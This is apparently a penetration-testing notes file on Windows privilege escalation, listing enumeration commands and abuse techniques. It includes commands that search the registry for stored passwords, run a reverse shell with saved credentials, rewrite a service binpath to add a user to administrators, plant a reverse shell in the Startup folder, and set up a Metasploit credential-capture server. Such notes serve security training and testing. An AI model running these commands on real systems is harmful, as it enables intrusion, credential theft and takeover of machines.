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killchain-compendium/post_exploitation/priv_esc/docs/windows/windows_priv_esc.md

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Windows Privilege Escalation

Links

Account Types

  • Administrator local & domain
  • Standard local & domain
  • Guest
  • System

Enumeration

Users & Groups

whoami /priv
net users
net users <username>
net localgroup
net localgroup <groupname>
query session
qwinsta

Files

System

hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  • Installed software
wmic product get name,version,vendor
  • Services
wmic service list brief | findstr  "Running"

Exploit

DLL Hijacking

Unquoted Service Path

Token Impersonation

  • SeImpersonatePrivilege is necessary, check via whoami priv
  • Hot Potato is best before Server 2019 and Windows 10 (version 1809)
  • Potatos
  • itm4n

Schedules Tasks

  • schtasks
  • Autoruns64.exe

MSI Elevated Installer

Search for Credentials

cmdkey /list
  • Use found credentials
runas /savecred /user:<user> reverse_shell.exe
  • Keys containing passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

accesschk64 Permissions

  • Check access to files and folders
accesschk64 -wvu "file.exe"
  • If permission SERVICE_CHANGE_CONFIG is set
 sc config <service> binpath="net localgroup administrators user /add"
  • Service escalation
  • Any other binary works as well. Copy the compiled portable executable from the service_escalation onto the binary path.Restart the service afterwards.

Startup Application

  • Put reverse shell instead of an executable inside C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Password Mining

  • Set up metasploit
use auxiliary/server/capture/http_basic
set srvport 7777
set uripath pass
  • Visit site on target